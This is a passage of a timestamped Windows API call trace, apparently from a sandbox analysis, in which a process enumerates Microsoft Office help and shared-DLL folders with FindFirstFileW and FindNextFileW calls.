out: hHeap=0xaf0000) returned 1 [0287.927] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0287.927] GetProcessHeap () returned 0xaf0000 [0287.927] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1049\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.928] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.928] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.928] GetProcessHeap () returned 0xaf0000 [0287.928] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.928] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0287.928] GetProcessHeap () returned 0xaf0000 [0287.928] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\2052\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.929] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.929] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.929] GetProcessHeap () returned 0xaf0000 [0287.929] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.929] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0287.929] GetProcessHeap () returned 0xaf0000 [0287.929] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\3082\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.930] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.930] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0287.930] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0287.930] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.930] GetProcessHeap () returned 0xaf0000 [0287.930] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.930] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0287.930] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.930] GetProcessHeap () returned 0xaf0000 [0287.930] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.931] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0287.932] GetProcessHeap () returned 0xaf0000 [0287.932] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.934] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.934] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0287.935] GetProcessHeap () returned 0xaf0000 [0287.935] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.935] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd4512fb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4512fb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd48340d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175660, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.dll", cAlternateFileName="MSOINT~1.DLL")) returned 0 [0287.936] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.936] GetProcessHeap () returned 0xaf0000 [0287.936] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0287.936] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75cf220, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf81bae82, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf22105da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf134fca5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0287.937] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf85e70a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf89c6ded, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf89c6ded, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf969787e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81e1182, 